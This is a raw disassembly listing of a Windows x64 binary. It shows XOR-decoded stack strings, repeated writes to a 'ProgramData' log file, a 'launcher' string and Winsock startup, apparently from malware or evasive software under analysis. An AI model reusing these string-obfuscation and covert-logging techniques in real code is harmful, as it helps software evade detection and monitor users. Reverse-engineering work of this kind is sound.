nop
lea r8, [rbp + 0x2a0]
lea rdx, [rbp + 0xea8]
lea rcx, [rbp + 0x2078]
call fcn.140019030
nop
mov r9, rsi
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xec8]
call fcn.14001a0f0
nop
mov r9, r14
lea r8, [rbp + 0xec8]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xee8]
call fcn.14001a0f0
nop
lea r8, str.22:35:42
lea rdx, [rbp + 0xee8]
lea rcx, [rbp + 0x2058]
call fcn.140019030
nop
lea r8, [rbp + 0x2b0]
mov rdx, rax
lea rcx, [rbp + 0x2038]
call fcn.140019030
nop
mov r9, r15
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xf08]
call fcn.14001a0f0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3428]
call fcn.140017c10
nop
lea rdx, [rbp + 0xf08]
mov rcx, rax
call fcn.14001a380
nop
lea rcx, [rbp + 0x34d0]
call fcn.140017b90
lea rcx, [rbp + 0x34d0]
call fcn.140017e40
nop
lea rcx, [rbp + 0xf08]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2038]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2058]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xee8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xec8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2078]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xea8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xe88]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2098]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x20b8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x20d8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1c38]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x20f8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2118]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2138]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2158]
call fcn.140017eb0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movabs r15, 0xf245f579a3d34195
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x45a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x45a8], rax
movdqa xmm0, xmmword [rbp + 0x45a0]
xorps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x2278]
call fcn.140017fd0
mov r14, rax
movabs rax, 0x9165911cd4bc29c6
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x820], rcx
movabs rax, 0xf58bc99433140cf1
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x828], rcx
movabs rax, 0xeb3169883331bc6e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x830], rcx
movabs rcx, 0x549e550e7b221bf0
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x838], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rax, 0xeb3148ff5c55d207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x820]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x820], ymm1
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x45b0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x45b8], rax
vmovdqa xmm0, xmmword [rbp + 0x45b0]
vxorps xmm0, xmm0, xmmword [rbp + 0x2d0]
vmovdqa xmmword [rbp + 0x2d0], xmm0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x2258]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x310], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x318], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x45c0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x45c8], rax
movdqa xmm0, xmmword [rbp + 0x45c0]
xorps xmm0, xmmword [rbp + 0x310]
movdqa xmmword [rbp + 0x310], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x45d0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x45d8], rax
movdqa xmm0, xmmword [rbp + 0x45d0]
xorps xmm0, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp + 0x2e0], xmm0
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x2238]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0xd], r12b
mov edx, 0x20
lea rcx, [rbp + 0xe68]
call fcn.14000d400
lea r8, [rbp + 0xe68]
lea rdx, [rbp + 0x2218]
lea rcx, [rbp + 0xd]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x300], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x308], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x45e0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x45e8], rax
movdqa xmm0, xmmword [rbp + 0x45e0]
xorps xmm0, xmmword [rbp + 0x300]
movdqa xmmword [rbp + 0x300], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x21f8]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x2f0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x2f8], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x45f0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x45f8], rax
movdqa xmm0, xmmword [rbp + 0x45f0]
xorps xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x2f0], xmm0
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x21d8]
call fcn.140018f00
nop
lea r8, [rbp + 0x300]
mov rdx, rax
lea rcx, [rbp + 0x21b8]
call fcn.140019030
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xde8]
call fcn.14001a0f0
nop
mov r9, rdi
lea r8, [rbp + 0xde8]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xe08]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x310]
lea rdx, [rbp + 0xe08]
lea rcx, [rbp + 0x2198]
call fcn.140019030
nop
mov r9, rsi
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x1168]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x820]
lea rdx, [rbp + 0x1168]
lea rcx, [rbp + 0x2178]
call fcn.140019030
nop
mov r9, r14
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xe48]
call fcn.14001a0f0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3320]
call fcn.140017c10
nop
lea rdx, [rbp + 0xe48]
mov rcx, rax
call fcn.14001a380
nop
lea rcx, [rbp + 0x33c8]
call fcn.140017b90
lea rcx, [rbp + 0x33c8]
call fcn.140017e40
nop
lea rcx, [rbp + 0xe48]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2178]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1168]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2198]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xe08]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xde8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x21b8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x21d8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x21f8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2218]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2238]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2258]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2278]
call fcn.140017eb0
movabs rdi, 0xf245f579a3d31ab5
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4600], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4608], rax
movdqa xmm0, xmmword [rbp + 0x4600]
xorps xmm0, xmmword [rbp + 0x320]
movdqa xmmword [rbp + 0x320], xmm0
lea rdx, [rbp + 0x320]
lea rcx, [0x1400a6b10]
call fcn.14002bad0
mov r8, rax
movabs rax, 0xf245f579a3e06ea7
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x330], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x338], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4610], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4618], rax
movdqa xmm0, xmmword [rbp + 0x4610]
xorps xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x330], xmm0
lea rdx, [rbp + 0x330]
mov rcx, r8
call fcn.14002bad0
mov r8, rax
movabs rbx, 0xf245f579a3d361c8
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x340], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x348], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4620], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4628], rax
movdqa xmm0, xmmword [rbp + 0x4620]
xorps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0x340], xmm0
lea rdx, [rbp + 0x340]
mov rcx, r8
call fcn.14002bad0
mov r8, rax
movabs rax, 0x9c2c8718d3b633c5
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x350], rcx
movabs rax, 0x82abacf872494cf9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x358], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4630], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4638], rax
movdqa xmm0, xmmword [rbp + 0x4630]
xorps xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp + 0x350], xmm0
lea rdx, [rbp + 0x350]
mov rcx, r8
call fcn.14002bad0
mov rcx, rax
call fcn.14002bd80
mov ecx, 0x202
lea rdx, [rbp + 0x43a0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4640], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4648], rax
movdqa xmm0, xmmword [rbp + 0x4640]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x360], xmm0
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x2398]
call fcn.140017fd0
mov r14, rax
movabs rax, 0x9b299410d7ba2fdc
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x840], rcx
movabs rax, 0xa3eaffaf7c0307e4
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x848], rcx
movabs rdx, 0xeb3148ff5c55d207
mov qword [rbp], rdx
mov rcx, qword [rbp]
mov qword [rbp + 0x850], rcx
movabs rcx, 0x549e550e7b221bf0
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x840]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x840], ymm1
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4650], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4658], rax
vmovdqa xmm0, xmmword [rbp + 0x4650]
vxorps xmm0, xmm0, xmmword [rbp + 0x370]
vmovdqa xmmword [rbp + 0x370], xmm0
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x2378]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x3b0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3b8], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4660], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4668], rax
movdqa xmm0, xmmword [rbp + 0x4660]
xorps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0x3b0], xmm0
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4670], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4678], rax
movdqa xmm0, xmmword [rbp + 0x4670]
xorps xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rbp + 0x380], xmm0
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x2358]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0xe], r12b
mov edx, 0x25
lea rcx, [rbp + 0xdc8]
call fcn.14000d400
lea r8, [rbp + 0xdc8]
lea rdx, [rbp + 0x2338]
lea rcx, [rbp + 0xe]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x3a0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3a8], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4680], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4688], rax
movdqa xmm0, xmmword [rbp + 0x4680]
xorps xmm0, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0x3a0], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x2318]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x30], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x38], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4690], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4698], rax
movdqa xmm0, xmmword [rbp + 0x4690]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x22f8]
call fcn.140018f00
nop
lea r8, [rbp + 0x3a0]
mov rdx, rax
lea rcx, [rbp + 0x22d8]
call fcn.140019030
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xd48]
call fcn.14001a0f0
nop
mov r9, rdi
lea r8, [rbp + 0xd48]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xd68]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0xd68]
lea rcx, [rbp + 0x22b8]
call fcn.140019030
nop
mov r9, rsi
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xd88]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x840]
lea rdx, [rbp + 0xd88]
lea rcx, [rbp + 0x2298]
call fcn.140019030
nop
mov r9, r14
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xda8]
call fcn.14001a0f0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3218]
call fcn.140017c10
nop
lea rdx, [rbp + 0xda8]
mov rcx, rax
call fcn.14001a380
nop
lea rcx, [rbp + 0x32c0]
call fcn.140017b90
lea rcx, [rbp + 0x32c0]
call fcn.140017e40
nop
lea rcx, [rbp + 0xda8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2298]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xd88]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x22b8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xd68]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xd48]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x22d8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x22f8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2318]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2338]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2358]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2378]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2398]
call fcn.140017eb0
movabs rax, 0xc17db237c9ea71f7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xac0], rax
movabs rax, 0xd7e1c29a19353ac4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xac8], rax
movabs rax, 0xa5770c9a2c0f8448
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xad0], rax
movabs rax, 0xda7656c2e6c4cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xad8], rax
movabs rax, 0x4d8439666965d86a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xae0], rax
movabs rax, 0xde1a5451935f08cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xae8], rax
movabs rax, 0x4342139e8fd997df
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaf0], rax
movabs rax, 0x11fb003fbcede8f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaf8], rax
movabs rax, 0x8ca66390115a027c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb00], rax
movabs rax, 0xe4a07d62d38b9d14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb08], rax
movabs rax, 0x2cb5982dbf10f742
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb10], rax
movabs rax, 0x81b5fd721425e8cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb18], rax
movabs rax, 0x330cea5c40e05a98
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb20], rax
movabs rax, 0xb3de64e8aad743ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb28], rax
movabs rax, 0xa46309806e96edb0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb30], rax
movabs rax, 0xbfa0a3254396cef9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb38], rax
movabs rax, 0x8ac4314d0054aff6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb40], rax
movabs rax, 0x15b95bff3534d84f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb48], rax
movabs rax, 0xc25140f9eaa24ef3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb50], rax
movabs rax, 0xd771fa738204c4da
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb58], rax
movabs rax, 0xde7fd7630927af07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb60], rax
movabs rax, 0xe0a29034651f8173
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb68], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4e00], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4e08], rax
movabs rdi, 0xeb3148ff5c55d207
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4e10], rax
movabs rbx, 0x549e550e7b221bf0
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4e18], rax
movabs rax, 0x37c90a055b20b639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e20], rax
movabs rax, 0xed402e04c51d4e82
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e28], rax
movabs rax, 0x192a45fbbcada78b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e30], rax
movabs rax, 0x64bd6a5a8fa4adb4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e38], rax
movabs rax, 0xdd9f0ef16714541d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e40], rax
movabs rax, 0xa3912a308bfbd846
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e48], rax
movabs rax, 0x65f3cd77eb42a00f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e50], rax
movabs rax, 0xedd99326434dbc98
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e58], rax
movabs rax, 0x6b46d93d17a60fc1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e60], rax
movabs rax, 0x86a909bc999d2daa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e68], rax
movabs rax, 0xe1355cd35ff2a9d3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e70], rax
movabs rax, 0xc6cbe47214dca29c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e78], rax
movabs rax, 0xbaac5b29550ef9a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e80], rax
movabs rax, 0x26ec0da85e72b62e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e88], rax
movabs rax, 0xf11c07afa6d27c97
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e90], rax
movabs rax, 0x8537913eda689380
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e98], rax
movabs rax, 0xea0fe7353f57c149
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4ea0], rax
movabs rax, 0xe0a29034587ced12
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4ea8], rax
vmovdqu ymm0, ymmword [rbp + 0xac0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e00]
vmovdqa ymmword [rbp + 0xac0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xae0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e20]
vmovdqa ymmword [rbp + 0xae0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xb00]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e40]
vmovdqa ymmword [rbp + 0xb00], ymm1
vmovdqu ymm0, ymmword [rbp + 0xb20]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e60]
vmovdqa ymmword [rbp + 0xb20], ymm1
vmovdqu ymm0, ymmword [rbp + 0xb40]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e80]
vmovdqa ymmword [rbp + 0xb40], ymm1
vmovdqa xmm0, xmmword [rbp + 0x4ea0]
vxorps xmm0, xmm0, xmmword [rbp + 0xb60]
vmovdqa xmmword [rbp + 0xb60], xmm0
lea rdx, [rbp + 0xac0]
lea rcx, [rbp + 0x23b8]
vzeroupper
call fcn.140017fd0
mov rdx, rax
lea rcx, [rbp + 0x3fa8]
call fcn.140021400
nop
lea rcx, [rbp + 0x3fa8]
call fcn.140034720
lea rdx, [0x140029570]
lea rcx, [rbp + 0x3fa8]
call fcn.140034d30
movabs rax, 0x972d9617d6b22dce
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x860], rax
movabs rax, 0xf6d9cd8c0f473fec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x868], rax
movabs rax, 0xeb3148ff5c74b662
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x870], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x878], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x4540]
vpxor ymm0, ymm0, ymmword [rbp + 0x860]
vmovdqa ymmword [rbp + 0x860], ymm0
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x23d8]
vzeroupper
call fcn.140017fd0
mov rdx, rax
lea rcx, [rbp + 0x3fa8]
call fcn.140035a10
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x46a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x46a8], rax
movdqa xmm0, xmmword [rbp + 0x46a0]
xorps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x3c0], xmm0
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x24f8]
call fcn.140017fd0
mov r14, rax
movabs rax, 0xd221900dc2b633d6
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa00], rcx
movabs rax, 0xedd9fc90281223c6
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa08], rcx
movabs rax, 0x895e688d3931bb71
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa10], rcx
movabs rax, 0x549e552f0f417e9a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa18], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0xa00]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0xa00], ymm1
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x46b0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x46b8], rax
vmovdqa xmm0, xmmword [rbp + 0x46b0]
vxorps xmm0, xmm0, xmmword [rbp + 0x3d0]
vmovdqa xmmword [rbp + 0x3d0], xmm0
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x24d8]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
